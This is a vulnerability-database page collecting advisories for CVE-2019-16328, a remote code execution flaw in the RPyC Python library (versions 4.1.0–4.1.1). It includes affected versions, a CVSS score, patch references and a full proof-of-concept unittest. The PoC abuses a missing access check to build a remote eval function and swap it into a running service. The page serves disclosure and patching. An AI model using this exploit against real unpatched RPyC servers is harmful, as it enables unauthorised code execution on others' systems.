pysec - pysec-2019-118

pysec-2019-118

Vulnerability from pysec

Published

2019-10-03 20:15

Modified

2020-08-24 17:37

Details

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc",
        "purl": "pkg:pypi/rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.0",
        "4.1.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16328",
    "GHSA-9ggp-4jpr-7ppj",
    "GHSA-pj4g-4488-wmxm"
  ],
  "details": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
  "id": "PYSEC-2019-118",
  "modified": "2020-08-24T17:37:00Z",
  "published": "2019-10-03T20:15:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9ggp-4jpr-7ppj"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pj4g-4488-wmxm"
    }
  ]
}

ghsa-pj4g-4488-wmxm

Vulnerability from github

Published

2021-02-17 19:50

Modified

2021-09-27 22:48

Severity ?

8.5 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

Dynamic modification of RPyC service due to missing security check

Details

Impact

Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

Patches

Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

Workarounds

The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.

References

CVE-2019-16328 RPyC Security Documentation

For more information

If you have any questions or comments about this advisory: * Open an issue using GitHub

Proof of Concept

``` import logging import rpyc import tempfile from subprocess import Popen, PIPE import unittest

PORT = 18861 SERVER_SCRIPT = f"""#!/usr/bin/env python import rpyc from rpyc.utils.server import ThreadedServer, ThreadPoolServer from rpyc import SlaveService import rpyc

class Foe(object): foo = "bar"

class Fee(rpyc.Service): exposed_Fie = Foe

def exposed_nop(self):
    return

if name == "main": server = ThreadedServer(Fee, port={PORT}, auto_register=False) thd = server.start() """

def setattr_orig(target, attrname, codeobj): setattr(target, attrname, codeobj)

def myeval(self=None, cmd="import('sys')"): return eval(cmd)

def get_code(obj_codetype, func, filename=None, name=None): func_code = func.code arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags', 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno', 'co_lnotab', 'co_freevars', 'co_cellvars']

codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
    codetype_args[arg_names.index('co_filename')] = filename
if name:
    codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode

def _vercmp_gt(ver1, ver2): ver1_gt_ver2 = False for i, v1 in enumerate(ver1): v2 = ver2[i] if v1 > v2: ver1_gt_ver2 = True break elif v1 == v2: continue else: # v1 < v2 break return ver1_gt_ver2

@unittest.skipIf(not _vercmp_gt(rpyc.version, (3, 4, 4)), "unaffected version") class Test_InfoDisclosure_Service(unittest.TestCase):

@classmethod
def setUpClass(cls):

    cls.logger = logging.getLogger('rpyc')
    cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred
    cls.hscript = tempfile.NamedTemporaryFile()
    cls.hscript.write(SERVER_SCRIPT.encode())
    cls.hscript.flush()
    while cls.hscript.file.tell() != len(SERVER_SCRIPT):
        pass
    cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
    cls.conn = rpyc.connect("localhost", PORT)

@classmethod
def tearDownClass(cls):
    cls.conn.close()
    cls.logger.info(cls.server.stdout.read())
    cls.logger.info(cls.server.stderr.read())
    cls.server.kill()
    cls.hscript.close()

def netref_getattr(self, netref, attrname):
    # PoC CWE-358: abuse __cmp__ function that was missing a security check
    handler = rpyc.core.consts.HANDLE_CMP
    return self.conn.sync_request(handler, netref, attrname, '__getattribute__')

def test_1_modify_nop(self):
    # create netrefs for builtins and globals that will be used to construct on remote
    remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
    remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
    remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
    remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
    _builtins = remote_modules['builtins']
    remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}

    # populate globals for CodeType calls on remote
    remote_globals = remote_builtins['dict']()
    for name, netref in remote_builtins.items():
        remote_globals[name] = netref
    for name, netref in self.netref_getattr(remote_modules, 'items')():
        remote_globals[name] = netref

    # create netrefs for types to create remote function malicously
    remote_types = remote_builtins['__import__']("types")
    remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
    remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')

    # remote eval function constructed
    remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
    remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
    # PoC CWE-913: modify the exposed_nop of service
    #   by binding various netrefs in this execution frame, they are cached in
    #   the remote address space. setattr and eval functions are cached for the life
    #   of the netrefs in the frame. A consequence of Netref classes inheriting
    #   BaseNetref, each object is cached under_local_objects. So, we are able
    #   to construct arbitrary code using types and builtins.

    # use the builtin netrefs to modify the service to use the constructed eval func
    remote_setattr = remote_builtins['setattr']
    remote_type = remote_builtins['type']
    remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)

    # show that nop was replaced by eval to complete the PoC
    remote_sys = self.conn.root.nop('__import__("sys")')
    remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
    self.assertEqual(type(remote_sys).__name__, 'builtins.module')
    self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
    self.assertIn('rpyc/utils/server.py', remote_stack)

def test_2_new_conn_impacted(self):
    # demostrate impact and scope of vuln for new connections
    self.conn.close()
    self.conn = rpyc.connect("localhost", PORT)
    # show new conn can still use nop as eval
    remote_sys = self.conn.root.nop('__import__("sys")')
    remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
    self.assertEqual(type(remote_sys).__name__, 'builtins.module')
    self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
    self.assertIn('rpyc/utils/server.py', remote_stack)

if name == "main": unittest.main() ```

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-17T19:50:44Z",
    "nvd_published_at": "2019-10-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n                 \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n                 \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n    if name:\n        codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger(\u0027rpyc\u0027)\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n        remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n        remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n        remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n        _builtins = remote_modules[\u0027builtins\u0027]\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins[\u0027dict\u0027]()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n        remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins[\u0027setattr\u0027]\n        remote_type = remote_builtins[\u0027type\u0027]\n        remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```",
  "id": "GHSA-pj4g-4488-wmxm",
  "modified": "2021-09-27T22:48:17Z",
  "published": "2021-02-17T19:50:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomerfiliba-org/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dynamic modification of RPyC service due to missing security check"
}

ghsa-9ggp-4jpr-7ppj

Vulnerability from github

Published

2019-11-20 01:35

Modified

2024-10-26 22:38

Summary

Duplicate Advisory: Possible remote code execution via a remote procedure call

Details

Withdrawn: duplicate of GHSA-pj4g-4488-wmxm

Original Description

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2019-11-19T03:15:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Withdrawn: duplicate of GHSA-pj4g-4488-wmxm\n\n## Original Description\n\nIn RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
  "id": "GHSA-9ggp-4jpr-7ppj",
  "modified": "2024-10-26T22:38:04Z",
  "published": "2019-11-20T01:35:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9ggp-4jpr-7ppj"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pj4g-4488-wmxm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rpyc/PYSEC-2019-118.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Duplicate Advisory: Possible remote code execution via a remote procedure call",
  "withdrawn": "2021-02-17T19:44:50Z"
}

cve-2019-16328

Vulnerability from cvelistv5

Published

2019-10-03 19:51

Modified

2024-08-05 01:10

Severity ?

Summary

References

▼	URL	Tags
	https://github.com/tomerfiliba/rpyc	x_refsource_MISC
	https://rpyc.readthedocs.io/en/latest/docs/security.html	x_refsource_MISC
	http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html	vendor-advisory, x_refsource_SUSE
	http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html	vendor-advisory, x_refsource_SUSE

Impacted products

▼	Vendor	Product
	n/a	n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T01:10:41.682Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/tomerfiliba/rpyc"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
          },
          {
            "name": "openSUSE-SU-2020:0685",
            "tags": [
              "vendor-advisory",
              "x_refsource_SUSE",
              "x_transferred"
            ],
            "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
          },
          {
            "name": "openSUSE-SU-2020:0763",
            "tags": [
              "vendor-advisory",
              "x_refsource_SUSE",
              "x_transferred"
            ],
            "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
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Action not permitted

pysec-2019-118

Vulnerability from pysec

ghsa-pj4g-4488-wmxm

Vulnerability from github

Impact

Patches

Workarounds

References

For more information

Proof of Concept

ghsa-9ggp-4jpr-7ppj

Vulnerability from github

Original Description

cve-2019-16328

Vulnerability from cvelistv5

Tags